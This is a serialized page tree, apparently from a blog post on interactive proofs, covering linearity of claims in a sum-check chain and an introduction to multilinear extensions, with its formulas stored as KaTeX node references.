",{"type":23,"tag":209,"props":110923,"children":110925},{"className":110924},[4076,4077],[110926],{"type":23,"tag":213,"props":110927,"children":110929},{"className":110928},[4082],[110930],{"type":23,"tag":213,"props":110931,"children":110933},{"className":110932,"ariaHidden":1710},[4087],[110934,110961],{"type":23,"tag":213,"props":110935,"children":110937},{"className":110936},[4092],[110938,110943,110948,110952,110957],{"type":23,"tag":213,"props":110939,"children":110942},{"className":110940,"style":110941},[4097],"height:0.4306em;",[],{"type":23,"tag":213,"props":110944,"children":110946},{"className":110945},[4103,21637],[110947],{"type":28,"value":36},{"type":23,"tag":213,"props":110949,"children":110951},{"className":110950,"style":4282},[4184],[],{"type":23,"tag":213,"props":110953,"children":110955},{"className":110954},[4287],[110956],{"type":28,"value":3190},{"type":23,"tag":213,"props":110958,"children":110960},{"className":110959,"style":4282},[4184],[],{"type":23,"tag":213,"props":110962,"children":110964},{"className":110963},[4092],[110965,110969,111026,111031,111036],{"type":23,"tag":213,"props":110966,"children":110968},{"className":110967,"style":4205},[4097],[],{"type":23,"tag":213,"props":110970,"children":110972},{"className":110971},[4103],[110973,110978],{"type":23,"tag":213,"props":110974,"children":110976},{"className":110975,"style":93586},[4103,21637],[110977],{"type":28,"value":109351},{"type":23,"tag":213,"props":110979,"children":110981},{"className":110980},[4120],[110982],{"type":23,"tag":213,"props":110983,"children":110985},{"className":110984},[4125,21691],[110986,111015],{"type":23,"tag":213,"props":110987,"children":110989},{"className":110988},[4130],[110990,111010],{"type":23,"tag":213,"props":110991,"children":110993},{"className":110992,"style":93629},[4135],[110994],{"type":23,"tag":213,"props":110995,"children":110996},{"style":93633},[110997,111001],{"type":23,"tag":213,"props":110998,"children":111000},{"className":110999,"style":4145},[4144],[],{"type":23,"tag":213,"props":111002,"children":111004},{"className":111003},[4150,4151,4152,4153],[111005],{"type":23,"tag":213,"props":111006,"children":111008},{"className":111007},[4103,21637,4153],[111009],{"type":28,"value":3826},{"type":23,"tag":213,"props":111011,"children":111013},{"className":111012},[21794],[111014],{"type":28,"value":21797},{"type":23,"tag":213,"props":111016,"children":111018},{"className":111017},[4130],[111019],{"type":23,"tag":213,"props":111020,"children":111022},{"className":111021,"style":93183},[4135],[111023],{"type":23,"tag":213,"props":111024,"children":111025},{},[],{"type":23,"tag":213,"props":111027,"children":111029},{"className":111028},[21766],[111030],{"type":28,"value":265},{"type":23,"tag":213,"props":111032,"children":111034},{"className":111033},[4103],[111035],{"type":28,"value":4116},{"type":23,"tag":213,"props":111037,"children":111039},{"className":111038},[21788],[111040],{"type":28,"value":2121},{"type":28,"value":111042},", and the verifier recovers ",{"type":23,"tag":209,"props":111044,"children":111046},{"className":111045},[4076,4077],[111047],{"type":23,"tag":213,"props":111048,"children":111050},{"className":111049},[4082],[111051],{"type":23,"tag":213,"props":111052,"children":111054},{"className":111053,"ariaHidden":1710},[4087],[111055],{"type":23,"tag":213,"props":111056,"children":111058},{"className":111057},[4092],[111059,111063],{"type":23,"tag":213,"props":111060,"children":111062},{"className":111061,"style":93015},[4097],[],{"type":23,"tag":213,"props":111064,"children":111066},{"className":111065},[4103,21637],[111067],{"type":28,"value":3319},{"type":28,"value":111069},". This saves 50% on communication costs.",{"type":23,"tag":24,"props":111071,"children":111072},{},[111073],{"type":28,"value":111074},"The next claim in the chain is",{"type":23,"tag":24,"props":111076,"children":111077},{},[111078],{"type":23,"tag":209,"props":111079,"children":111081},{"className":111080},[4076,4077],[111082],{"type":23,"tag":213,"props":111083,"children":111085},{"className":111084},[4082],[111086],{"type":23,"tag":213,"props":111087,"children":111089},{"className":111088,"ariaHidden":1710},[4087],[111090,111169,111314,111340,111367,111445,111471,111568,111604,111682,111718,111806,111898],{"type":23,"tag":213,"props":111091,"children":111093},{"className":111092},[4092],[111094,111099,111156,111160,111165],{"type":23,"tag":213,"props":111095,"children":111098},{"className":111096,"style":111097},[4097],"height:0.8333em;vertical-align:-0.15em;",[],{"type":23,"tag":213,"props":111100,"children":111102},{"className":111101},[4103],[111103,111108],{"type":23,"tag":213,"props":111104,"children":111106},{"className":111105,"style":93334},[4103,21637],[111107],{"type":28,"value":93337},{"type":23,"tag":213,"props":111109,"children":111111},{"className":111110},[4120],[111112],{"type":23,"tag":213,"props":111113,"children":111115},{"className":111114},[4125,21691],[111116,111145],{"type":23,"tag":213,"props":111117,"children":111119},{"className":111118},[4130],[111120,111140],{"type":23,"tag":213,"props":111121,"children":111123},{"className":111122,"style":93629},[4135],[111124],{"type":23,"tag":213,"props":111125,"children":111126},{"style":110529},[111127,111131],{"type":23,"tag":213,"props":111128,"children":111130},{"className":111129,"style":4145},[4144],[],{"type":23,"tag":213,"props":111132,"children":111134},{"className":111133},[4150,4151,4152,4153],[111135],{"type":23,"tag":213,"props":111136,"children":111138},{"className":111137},[4103,21637,4153],[111139],{"type":28,"value":3826},{"type":23,"tag":213,"props":111141,"children":111143},{"className":111142},[21794],[111144],{"type":28,"value":21797},{"type":23,"tag":213,"props":111146,"children":111148},{"className":111147},[4130],[111149],{"type":23,"tag":213,"props":111150,"children":111152},{"className":111151,"style":93183},[4135],[111153],{"type":23,"tag":213,"props":111154,"children":111155},{},[],{"type":23,"tag":213,"props":111157,"children":111159},{"className":111158,"style":4282},[4184],[],{"type":23,"tag":213,"props":111161,"children":111163},{"className":111162},[4287],[111164],{"type":28,"value":3190},{"type":23,"tag":213,"props":111166,"children":111168},{"className":111167,"style":4282},[4184],[],{"type":23,"tag":213,"props":111170,"children":111172},{"className":111171},[4092],[111173,111177,111234,111239,111296,111301,111305,111310],{"type":23,"tag":213,"props":111174,"children":111176},{"className":111175,"style":4205},[4097],[],{"type":23,"tag":213,"props":111178,"children":111180},{"className":111179},[4103],[111181,111186],{"type":23,"tag":213,"props":111182,"children":111184},{"className":111183,"style":93586},[4103,21637],[111185],{"type":28,"value":109351},{"type":23,"tag":213,"props":111187,"children":111189},{"className":111188},[4120],[111190],{"type":23,"tag":213,"props":111191,"children":111193},{"className":111192},[4125,21691],[111194,111223],{"type":23,"tag":213,"props":111195,"children":111197},{"className":111196},[4130],[111198,111218],{"type":23,"tag":213,"props":111199,"children":111201},{"className":111200,"style":93629},[4135],[111202],{"type":23,"tag":213,"props":111203,"children":111204},{"style":93633},[111205,111209],{"type":23,"tag":213,"props":111206,"children":111208},{"className":111207,"style":4145},[4144],[],{"type":23,"tag":213,"props":111210,"children":111212},{"className":111211},[4150,4151,4152,4153],[111213],{"type":23,"tag":213,"props":111214,"children":111216},{"className":111215},[4103,21637,4153],[111217],{"type":28,"value":3826},{"type":23,"tag":213,"props":111219,"children":111221},{"className":111220},[21794],[111222],{"type":28,"value":21797},{"type":23,"tag":213,"props":111224,"children":111226},{"className":111225},[4130],[111227],{"type":23,"tag":213,"props":111228,"children":111230},{"className":111229,"style":93183},[4135],[111231],{"type":23,"tag":213,"props":111232,"children":111233},{},[],{"type":23,"tag":213,"props":111235,"children":111237},{"className":111236},[21766],[111238],{"type":28,"value":265},{"type":23,"tag":213,"props":111240,"children":111242},{"className":111241},[4103],[111243,111248],{"type":23,"tag":213,"props":111244,"children":111246},{"className":111245,"style":93100},[4103,21637],[111247],{"type":28,"value":93919},{"type":23,"tag":213,"props":111249,"children":111251},{"className":111250},[4120],[111252],{"type":23,"tag":213,"props":111253,"children":111255},{"className":111254},[4125,21691],[111256,111285],{"type":23,"tag":213,"props":111257,"children":111259},{"className":111258},[4130],[111260,111280],{"type":23,"tag":213,"props":111261,"children":111263},{"className":111262,"style":93629},[4135],[111264],{"type":23,"tag":213,"props":111265,"children":111266},{"style":110099},[111267,111271],{"type":23,"tag":213,"props":111268,"children":111270},{"className":111269,"style":4145},[4144],[],{"type":23,"tag":213,"props":111272,"children":111274},{"className":111273},[4150,4151,4152,4153],[111275],{"type":23,"tag":213,"props":111276,"children":111278},{"className":111277},[4103,21637,4153],[111279],{"type":28,"value":3826},{"type":23,"tag":213,"props":111281,"children":111283},{"className":111282},[21794],[111284],{"type":28,"value":21797},{"type":23,"tag":213,"props":111286,"children":111288},{"className":111287},[4130],[111289],{"type":23,"tag":213,"props":111290,"children":111292},{"className":111291,"style":93183},[4135],[111293],{"type":23,"tag":213,"props":111294,"children":111295},{},[],{"type":23,"tag":213,"props":111297,"children":111299},{"className":111298},[21788],[111300],{"type":28,"value":2121},{"type":23,"tag":213,"props":111302,"children":111304},{"className":111303,"style":4282},[4184],[],{"type":23,"tag":213,"props":111306,"children":111308},{"className":111307},[4287],[111309],{"type":28,"value":3190},{"type":23,"tag":213,"props":111311,"children":111313},{"className":111312,"style":4282},[4184],[],{"type":23,"tag":213,"props":111315,"children":111317},{"className":111316},[4092],[111318,111322,111327,111331,111336],{"type":23,"tag":213,"props":111319,"children":111321},{"className":111320,"style":110255},[4097],[],{"type":23,"tag":213,"props":111323,"children":111325},{"className":111324},[4103,21637],[111326],{"type":28,"value":36},{"type":23,"tag":213,"props":111328,"children":111330},{"className":111329,"style":4185},[4184],[],{"type":23,"tag":213,"props":111332,"children":111334},{"className":111333},[4190],[111335],{"type":28,"value":2703},{"type":23,"tag":213,"props":111337,"children":111339},{"className":111338,"style":4185},[4184],[],{"type":23,"tag":213,"props":111341,"children":111343},{"className":111342},[4092],[111344,111348,111353,111357,111363],{"type":23,"tag":213,"props":111345,"children":111347},{"className":111346,"style":93015},[4097],[],{"type":23,"tag":213,"props":111349,"children":111351},{"className":111350},[4103,21637],[111352],{"type":28,"value":3319},{"type":23,"tag":213,"props":111354,"children":111356},{"className":111355,"style":4185},[4184],[],{"type":23,"tag":213,"props":111358,"children":111360},{"className":111359},[4190],[111361],{"type":28,"value":111362},"⋅",{"type":23,"tag":213,"props":111364,"children":111366},{"className":111365,"style":4185},[4184],[],{"type":23,"tag":213,"props":111368,"children":111370},{"className":111369},[4092],[111371,111375,111432,111436,111441],{"type":23,"tag":213,"props":111372,"children":111374},{"className":111373,"style":110070},[4097],[],{"type":23,"tag":213,"props":111376,"children":111378},{"className":111377},[4103],[111379,111384],{"type":23,"tag":213,"props":111380,"children":111382},{"className":111381,"style":93100},[4103,21637],[111383],{"type":28,"value":93919},{"type":23,"tag":213,"props":111385,"children":111387},{"className":111386},[4120],[111388],{"type":23,"tag":213,"props":111389,"children":111391},{"className":111390},[4125,21691],[111392,111421],{"type":23,"tag":213,"props":111393,"children":111395},{"className":111394},[4130],[111396,111416],{"type":23,"tag":213,"props":111397,"children":111399},{"className":111398,"style":93629},[4135],[111400],{"type":23,"tag":213,"props":111401,"children":111402},{"style":110099},[111403,111407],{"type":23,"tag":213,"props":111404,"children":111406},{"className":111405,"style":4145},[4144],[],{"type":23,"tag":213,"props":111408,"children":111410},{"className":111409},[4150,4151,4152,4153],[111411],{"type":23,"tag":213,"props":111412,"children":111414},{"className":111413},[4103,21637,4153],[111415],{"type":28,"value":3826},{"type":23,"tag":213,"props":111417,"children":111419},{"className":111418},[21794],[111420],{"type":28,"value":21797},{"type":23,"tag":213,"props":111422,"children":111424},{"className":111423},[4130],[111425],{"type":23,"tag":213,"props":111426,"children":111428},{"className":111427,"style":93183},[4135],[111429],{"type":23,"tag":213,"props":111430,"children":111431},{},[],{"type":23,"tag":213,"props":111433,"children":111435},{"className":111434,"style":4282},[4184],[],{"type":23,"tag":213,"props":111437,"children":111439},{"className":111438},[4287],[111440],{"type":28,"value":3190},{"type":23,"tag":213,"props":111442,"children":111444},{"className":111443,"style":4282},[4184],[],{"type":23,"tag":213,"props":111446,"children":111448},{"className":111447},[4092],[111449,111453,111458,111462,111467],{"type":23,"tag":213,"props":111450,"children":111452},{"className":111451,"style":110255},[4097],[],{"type":23,"tag":213,"props":111454,"children":111456},{"className":111455},[4103,21637],[111457],{"type":28,"value":36},{"type":23,"tag":213,"props":111459,"children":111461},{"className":111460,"style":4185},[4184],[],{"type":23,"tag":213,"props":111463,"children":111465},{"className":111464},[4190],[111466],{"type":28,"value":2703},{"type":23,"tag":213,"props":111468,"children":111470},{"className":111469,"style":4185},[4184],[],{"type":23,"tag":213,"props":111472,"children":111474},{"className":111473},[4092],[111475,111479,111484,111555,111559,111564],{"type":23,"tag":213,"props":111476,"children":111478},{"className":111477,"style":4205},[4097],[],{"type":23,"tag":213,"props":111480,"children":111482},{"className":111481},[21766],[111483],{"type":28,"value":265},{"type":23,"tag":213,"props":111485,"children":111487},{"className":111486},[4103],[111488,111493],{"type":23,"tag":213,"props":111489,"children":111491},{"className":111490,"style":93334},[4103,21637],[111492],{"type":28,"value":93337},{"type":23,"tag":213,"props":111494,"children":111496},{"className":111495},[4120],[111497],{"type":23,"tag":213,"props":111498,"children":111500},{"className":111499},[4125,21691],[111501,111544],{"type":23,"tag":213,"props":111502,"children":111504},{"className":111503},[4130],[111505,111539],{"type":23,"tag":213,"props":111506,"children":111508},{"className":111507,"style":93629},[4135],[111509],{"type":23,"tag":213,"props":111510,"children":111511},{"style":110529},[111512,111516],{"type":23,"tag":213,"props":111513,"children":111515},{"className":111514,"style":4145},[4144],[],{"type":23,"tag":213,"props":111517,"children":111519},{"className":111518},[4150,4151,4152,4153],[111520],{"type":23,"tag":213,"props":111521,"children":111523},{"className":111522},[4103,4153],[111524,111529,111534],{"type":23,"tag":213,"props":111525,"children":111527},{"className":111526},[4103,21637,4153],[111528],{"type":28,"value":3826},{"type":23,"tag":213,"props":111530,"children":111532},{"className":111531},[4190,4153],[111533],{"type":28,"value":4164},{"type":23,"tag":213,"props":111535,"children":111537},{"className":111536},[4103,4153],[111538],{"type":28,"value":4106},{"type":23,"tag":213,"props":111540,"children":111542},{"className":111541},[21794],[111543],{"type":28,"value":21797},{"type":23,"tag":213,"props":111545,"children":111547},{"className":111546},[4130],[111548],{"type":23,"tag":213,"props":111549,"children":111551},{"className":111550,"style":110570},[4135],[111552],{"type":23,"tag":213,"props":111553,"children":111554},{},[],{"type":23,"tag":213,"props":111556,"children":111558},{"className":111557,"style":4185},[4184],[],{"type":23,"tag":213,"props":111560,"children":111562},{"className":111561},[4190],[111563],{"type":28,"value":4164},{"type":23,"tag":213,"props":111565,"children":111567},{"className":111566,"style":4185},[4184],[],{"type":23,"tag":213,"props":111569,"children":111571},{"className":111570},[4092],[111572,111576,111581,111586,111591,111595,111600],{"type":23,"tag":213,"props":111573,"children":111575},{"className":111574,"style":4205},[4097],[],{"type":23,"tag":213,"props":111577,"children":111579},{"className":111578},[4103],[111580],{"type":28,"value":3221},{"type":23,"tag":213,"props":111582,"children":111584},{"className":111583},[4103,21637],[111585],{"type":28,"value":36},{"type":23,"tag":213,"props":111587,"children":111589},{"className":111588},[21788],[111590],{"type":28,"value":2121},{"type":23,"tag":213,"props":111592,"children":111594},{"className":111593,"style":4185},[4184],[],{"type":23,"tag":213,"props":111596,"children":111598},{"className":111597},[4190],[111599],{"type":28,"value":111362},{"type":23,"tag":213,"props":111601,"children":111603},{"className":111602,"style":4185},[4184],[],{"type":23,"tag":213,"props":111605,"children":111607},{"className":111606},[4092],[111608,111612,111669,111673,111678],{"type":23,"tag":213,"props":111609,"children":111611},{"className":111610,"style":110070},[4097],[],{"type":23,"tag":213,"props":111613,"children":111615},{"className":111614},[4103],[111616,111621],{"type":23,"tag":213,"props":111617,"children":111619},{"className":111618,"style":93100},[4103,21637],[111620],{"type":28,"value":93919},{"type":23,"tag":213,"props":111622,"children":111624},{"className":111623},[4120],[111625],{"type":23,"tag":213,"props":111626,"children":111628},{"className":111627},[4125,21691],[111629,111658],{"type":23,"tag":213,"props":111630,"children":111632},{"className":111631},[4130],[111633,111653],{"type":23,"tag":213,"props":111634,"children":111636},{"className":111635,"style":93629},[4135],[111637],{"type":23,"tag":213,"props":111638,"children":111639},{"style":110099},[111640,111644],{"type":23,"tag":213,"props":111641,"children":111643},{"className":111642,"style":4145},[4144],[],{"type":23,"tag":213,"props":111645,"children":111647},{"className":111646},[4150,4151,4152,4153],[111648],{"type":23,"tag":213,"props":111649,"children":111651},{"className":111650},[4103,21637,4153],[111652],{"type":28,"value":3826},{"type":23,"tag":213,"props":111654,"children":111656},{"className":111655},[21794],[111657],{"type":28,"value":21797},{"type":23,"tag":213,"props":111659,"children":111661},{"className":111660},[4130],[111662],{"type":23,"tag":213,"props":111663,"children":111665},{"className":111664,"style":93183},[4135],[111666],{"type":23,"tag":213,"props":111667,"children":111668},{},[],{"type":23,"tag":213,"props":111670,"children":111672},{"className":111671,"style":4282},[4184],[],{"type":23,"tag":213,"props":111674,"children":111676},{"className":111675},[4287],[111677],{"type":28,"value":3190},{"type":23,"tag":213,"props":111679,"children":111681},{"className":111680,"style":4282},[4184],[],{"type":23,"tag":213,"props":111683,"children":111685},{"className":111684},[4092],[111686,111690,111695,111700,111705,111709,111714],{"type":23,"tag":213,"props":111687,"children":111689},{"className":111688,"style":4205},[4097],[],{"type":23,"tag":213,"props":111691,"children":111693},{"className":111692},[4103,21637],[111694],{"type":28,"value":36},{"type":23,"tag":213,"props":111696,"children":111698},{"className":111697},[21766],[111699],{"type":28,"value":265},{"type":23,"tag":213,"props":111701,"children":111703},{"className":111702},[4103],[111704],{"type":28,"value":4106},{"type":23,"tag":213,"props":111706,"children":111708},{"className":111707,"style":4185},[4184],[],{"type":23,"tag":213,"props":111710,"children":111712},{"className":111711},[4190],[111713],{"type":28,"value":4164},{"type":23,"tag":213,"props":111715,"children":111717},{"className":111716,"style":4185},[4184],[],{"type":23,"tag":213,"props":111719,"children":111721},{"className":111720},[4092],[111722,111726,111731,111788,111793,111797,111802],{"type":23,"tag":213,"props":111723,"children":111725},{"className":111724,"style":4205},[4097],[],{"type":23,"tag":213,"props":111727,"children":111729},{"className":111728},[4103],[111730],{"type":28,"value":3221},{"type":23,"tag":213,"props":111732,"children":111734},{"className":111733},[4103],[111735,111740],{"type":23,"tag":213,"props":111736,"children":111738},{"className":111737,"style":93100},[4103,21637],[111739],{"type":28,"value":93919},{"type":23,"tag":213,"props":111741,"children":111743},{"className":111742},[4120],[111744],{"type":23,"tag":213,"props":111745,"children":111747},{"className":111746},[4125,21691],[111748,111777],{"type":23,"tag":213,"props":111749,"children":111751},{"className":111750},[4130],[111752,111772],{"type":23,"tag":213,"props":111753,"children":111755},{"className":111754,"style":93629},[4135],[111756],{"type":23,"tag":213,"props":111757,"children":111758},{"style":110099},[111759,111763],{"type":23,"tag":213,"props":111760,"children":111762},{"className":111761,"style":4145},[4144],[],{"type":23,"tag":213,"props":111764,"children":111766},{"className":111765},[4150,4151,4152,4153],[111767],{"type":23,"tag":213,"props":111768,"children":111770},{"className":111769},[4103,21637,4153],[111771],{"type":28,"value":3826},{"type":23,"tag":213,"props":111773,"children":111775},{"className":111774},[21794],[111776],{"type":28,"value":21797},{"type":23,"tag":213,"props":111778,"children":111780},{"className":111779},[4130],[111781],{"type":23,"tag":213,"props":111782,"children":111784},{"className":111783,"style":93183},[4135],[111785],{"type":23,"tag":213,"props":111786,"children":111787},{},[],{"type":23,"tag":213,"props":111789,"children":111791},{"className":111790},[21788],[111792],{"type":28,"value":2121},{"type":23,"tag":213,"props":111794,"children":111796},{"className":111795,"style":4185},[4184],[],{"type":23,"tag":213,"props":111798,"children":111800},{"className":111799},[4190],[111801],{"type":28,"value":2703},{"type":23,"tag":213,"props":111803,"children":111805},{"className":111804,"style":4185},[4184],[],{"type":23,"tag":213,"props":111807,"children":111809},{"className":111808},[4092],[111810,111814,111885,111889,111894],{"type":23,"tag":213,"props":111811,"children":111813},{"className":111812,"style":110500},[4097],[],{"type":23,"tag":213,"props":111815,"children":111817},{"className":111816},[4103],[111818,111823],{"type":23,"tag":213,"props":111819,"children":111821},{"className":111820,"style":93334},[4103,21637],[111822],{"type":28,"value":93337},{"type":23,"tag":213,"props":111824,"children":111826},{"className":111825},[4120],[111827],{"type":23,"tag":213,"props":111828,"children":111830},{"className":111829},[4125,21691],[111831,111874],{"type":23,"tag":213,"props":111832,"children":111834},{"className":111833},[4130],[111835,111869],{"type":23,"tag":213,"props":111836,"children":111838},{"className":111837,"style":93629},[4135],[111839],{"type":23,"tag":213,"props":111840,"children":111841},{"style":110529},[111842,111846],{"type":23,"tag":213,"props":111843,"children":111845},{"className":111844,"style":4145},[4144],[],{"type":23,"tag":213,"props":111847,"children":111849},{"className":111848},[4150,4151,4152,4153],[111850],{"type":23,"tag":213,"props":111851,"children":111853},{"className":111852},[4103,4153],[111854,111859,111864],{"type":23,"tag":213,"props":111855,"children":111857},{"className":111856},[4103,21637,4153],[111858],{"type":28,"value":3826},{"type":23,"tag":213,"props":111860,"children":111862},{"className":111861},[4190,4153],[111863],{"type":28,"value":4164},{"type":23,"tag":213,"props":111865,"children":111867},{"className":111866},[4103,4153],[111868],{"type":28,"value":4106},{"type":23,"tag":213,"props":111870,"children":111872},{"className":111871},[21794],[111873],{"type":28,"value":21797},{"type":23,"tag":213,"props":111875,"children":111877},{"className":111876},[4130],[111878],{"type":23,"tag":213,"props":111879,"children":111881},{"className":111880,"style":110570},[4135],[111882],{"type":23,"tag":213,"props":111883,"children":111884},{},[],{"type":23,"tag":213,"props":111886,"children":111888},{"className":111887,"style":4185},[4184],[],{"type":23,"tag":213,"props":111890,"children":111892},{"className":111891},[4190],[111893],{"type":28,"value":111362},{"type":23,"tag":213,"props":111895,"children":111897},{"className":111896,"style":4185},[4184],[],{"type":23,"tag":213,"props":111899,"children":111901},{"className":111900},[4092],[111902,111906],{"type":23,"tag":213,"props":111903,"children":111905},{"className":111904,"style":110070},[4097],[],{"type":23,"tag":213,"props":111907,"children":111909},{"className":111908},[4103],[111910,111915],{"type":23,"tag":213,"props":111911,"children":111913},{"className":111912,"style":93100},[4103,21637],[111914],{"type":28,"value":93919},{"type":23,"tag":213,"props":111916,"children":111918},{"className":111917},[4120],[111919],{"type":23,"tag":213,"props":111920,"children":111922},{"className":111921},[4125,21691],[111923,111952],{"type":23,"tag":213,"props":111924,"children":111926},{"className":111925},[4130],[111927,111947],{"type":23,"tag":213,"props":111928,"children":111930},{"className":111929,"style":93629},[4135],[111931],{"type":23,"tag":213,"props":111932,"children":111933},{"style":110099},[111934,111938],{"type":23,"tag":213,"props":111935,"children":111937},{"className":111936,"style":4145},[4144],[],{"type":23,"tag":213,"props":111939,"children":111941},{"className":111940},[4150,4151,4152,4153],[111942],{"type":23,"tag":213,"props":111943,"children":111945},{"className":111944},[4103,21637,4153],[111946],{"type":28,"value":3826},{"type":23,"tag":213,"props":111948,"children":111950},{"className":111949},[21794],[111951],{"type":28,"value":21797},{"type":23,"tag":213,"props":111953,"children":111955},{"className":111954},[4130],[111956],{"type":23,"tag":213,"props":111957,"children":111959},{"className":111958,"style":93183},[4135],[111960],{"type":23,"tag":213,"props":111961,"children":111962},{},[],{"type":23,"tag":24,"props":111964,"children":111965},{},[111966,111967,112063,112065,112090,112092,112117],{"type":28,"value":46187},{"type":23,"tag":95,"props":111968,"children":111969},{},[111970,111972],{"type":28,"value":111971},"linear in ",{"type":23,"tag":209,"props":111973,"children":111975},{"className":111974},[4076,4077],[111976],{"type":23,"tag":213,"props":111977,"children":111979},{"className":111978},[4082],[111980],{"type":23,"tag":213,"props":111981,"children":111983},{"className":111982,"ariaHidden":1710},[4087],[111984],{"type":23,"tag":213,"props":111985,"children":111987},{"className":111986},[4092],[111988,111992],{"type":23,"tag":213,"props":111989,"children":111991},{"className":111990,"style":110500},[4097],[],{"type":23,"tag":213,"props":111993,"children":111995},{"className":111994},[4103],[111996,112001],{"type":23,"tag":213,"props":111997,"children":111999},{"className":111998,"style":93334},[4103,21637],[112000],{"type":28,"value":93337},{"type":23,"tag":213,"props":112002,"children":112004},{"className":112003},[4120],[112005],{"type":23,"tag":213,"props":112006,"children":112008},{"className":112007},[4125,21691],[112009,112052],{"type":23,"tag":213,"props":112010,"children":112012},{"className":112011},[4130],[112013,112047],{"type":23,"tag":213,"props":112014,"children":112016},{"className":112015,"style":93629},[4135],[112017],{"type":23,"tag":213,"props":112018,"children":112019},{"style":110529},[112020,112024],{"type":23,"tag":213,"props":112021,"children":112023},{"className":112022,"style":4145},[4144],[],{"type":23,"tag":213,"props":112025,"children":112027},{"className":112026},[4150,4151,4152,4153],[112028],{"type":23,"tag":213,"props":112029,"children":112031},{"className":112030},[4103,4153],[112032,112037,112042],{"type":23,"tag":213,"props":112033,"children":112035},{"className":112034},[4103,21637,4153],[112036],{"type":28,"value":3826},{"type":23,"tag":213,"props":112038,"children":112040},{"className":112039},[4190,4153],[112041],{"type":28,"value":4164},{"type":23,"tag":213,"props":112043,"children":112045},{"className":112044},[4103,4153],[112046],{"type":28,"value":4106},{"type":23,"tag":213,"props":112048,"children":112050},{"className":112049},[21794],[112051],{"type":28,"value":21797},{"type":23,"tag":213,"props":112053,"children":112055},{"className":112054},[4130],[112056],{"type":23,"tag":213,"props":112057,"children":112059},{"className":112058,"style":110570},[4135],[112060],{"type":23,"tag":213,"props":112061,"children":112062},{},[],{"type":28,"value":112064},"! By induction, the final claim is linear in the original ",{"type":23,"tag":209,"props":112066,"children":112068},{"className":112067},[4076,4077],[112069],{"type":23,"tag":213,"props":112070,"children":112072},{"className":112071},[4082],[112073],{"type":23,"tag":213,"props":112074,"children":112076},{"className":112075,"ariaHidden":1710},[4087],[112077],{"type":23,"tag":213,"props":112078,"children":112080},{"className":112079},[4092],[112081,112085],{"type":23,"tag":213,"props":112082,"children":112084},{"className":112083,"style":21632},[4097],[],{"type":23,"tag":213,"props":112086,"children":112088},{"className":112087,"style":93334},[4103,21637],[112089],{"type":28,"value":93337},{"type":28,"value":112091},". If ",{"type":23,"tag":209,"props":112093,"children":112095},{"className":112094},[4076,4077],[112096],{"type":23,"tag":213,"props":112097,"children":112099},{"className":112098},[4082],[112100],{"type":23,"tag":213,"props":112101,"children":112103},{"className":112102,"ariaHidden":1710},[4087],[112104],{"type":23,"tag":213,"props":112105,"children":112107},{"className":112106},[4092],[112108,112112],{"type":23,"tag":213,"props":112109,"children":112111},{"className":112110,"style":21632},[4097],[],{"type":23,"tag":213,"props":112113,"children":112115},{"className":112114,"style":93334},[4103,21637],[112116],{"type":28,"value":93337},{"type":28,"value":112118}," isn't in the transcript, we can solve for it.",{"type":23,"tag":9693,"props":112120,"children":112122},{"id":112121},"multilinear-extensions-mles",[112123],{"type":28,"value":112124},"Multilinear Extensions (MLEs)",{"type":23,"tag":24,"props":112126,"children":112127},{},[112128,112130,112215],{"type":28,"value":112129},"An MLE is just the polynomial view of a table over ",{"type":23,"tag":209,"props":112131,"children":112133},{"className":112132},[4076,4077],[112134],{"type":23,"tag":213,"props":112135,"children":112137},{"className":112136},[4082],[112138],{"type":23,"tag":213,"props":112139,"children":112141},{"className":112140,"ariaHidden":1710},[4087],[112142],{"type":23,"tag":213,"props":112143,"children":112145},{"className":112144},[4092],[112146,112150,112155,112160,112165,112169,112174],{"type":23,"tag":213,"props":112147,"children":112149},{"className":112148,"style":4205},[4097],[],{"type":23,"tag":213,"props":112151,"children":112153},{"className":112152},[21766],[112154],{"type":28,"value":76671},{"type":23,"tag":213,"props":112156,"children":112158},{"className":112157},[4103],[112159],{"type":28,"value":4116},{"type":23,"tag":213,"props":112161,"children":112163},{"className":112162},[4216],[112164],{"type":28,"value":4219},{"type":23,"tag":213,"props":112166,"children":112168},{"className":112167,"style":4223},[4184],[],{"type":23,"tag":213,"props":112170,"children":112172},{"className":112171},[4103],[112173],{"type":28,"value":4106},{"type":23,"tag":213,"props":112175,"children":112177},{"className":112176},[21788],[112178,112183],{"type":23,"tag":213,"props":112179,"children":112181},{"className":112180},[21788],[112182],{"type":28,"value":34197},{"type":23,"tag":213,"props":112184,"children":112186},{"className":112185},[4120],[112187],{"type":23,"tag":213,"props":112188,"children":112190},{"className":112189},[4125],[112191],{"type":23,"tag":213,"props":112192,"children":112194},{"className":112193},[4130],[112195],{"type":23,"tag":213,"props":112196,"children":112198},{"className":112197,"style":108817},[4135],[112199],{"type":23,"tag":213,"props":112200,"children":112201},{"style":4139},[112202,112206],{"type":23,"tag":213,"props":112203,"children":112205},{"className":112204,"style":4145},[4144],[],{"type":23,"tag":213,"props":112207,"children":112209},{"className":112208},[4150,4151,4152,4153],[112210],{"type":23,"tag":213,"props":112211,"children":112213},{"className":112212},[4103,21637,4153],[112214],{"type":28,"value":56456},{"type":28,"value":112216},": it matches the table on Boolean points and extends it to field points.",{"type":23,"tag":24,"props":112218,"children":112219},{},[112220],{"type":28,"value":112221},"For this post, the only property you need is:",{"type":23,"tag":24,"props":112223,"children":112224},{},[112225],{"type":23,"tag":209,"props":112226,"children":112228},{"className":112227},[4076,4077],[112229],{"type":23,"tag":213,"props":112230,"children":112232},{"className":112231},[4082],[112233],{"type":23,"tag":213,"props":112234,"children":112236},{"className":112235,"ariaHidden":1710},[4087],[112237,112399,112671],{"type":23,"tag":213,"props":112238,"children":112240},{"className":112239},[4092],[112241,112246,112315,112320,112381,112386,112390,112395],{"type":23,"tag":213,"props":112242,"children":112245},{"className":112243,"style":112244},[4097],"height:1.1813em;vertical-align:-0.25em;",[],{"type":23,"tag":213,"props":112247,"children":112250},{"className":112248},[4103,112249],"accent",[112251],{"type":23,"tag":213,"props":112252,"children":112254},{"className":112253},[4125,21691],[112255,112303],{"type":23,"tag":213,"props":112256,"children":112258},{"className":112257},[4130],[112259,112298],{"type":23,"tag":213,"props":112260,"children":112263},{"className":112261,"style":112262},[4135],"height:0.9313em;",[112264,112278],{"type":23,"tag":213,"props":112265,"children":112267},{"style":112266},"top:-3em;",[112268,112273],{"type":23,"tag":213,"props":112269,"children":112272},{"className":112270,"style":112271},[4144],"height:3em;",[],{"type":23,"tag":213,"props":112274,"children":112276},{"className":112275,"style":95454},[4103,21637],[112277],{"type":28,"value":33141},{"type":23,"tag":213,"props":112279,"children":112281},{"style":112280},"top:-3.6134em;",[112282,112286],{"type":23,"tag":213,"props"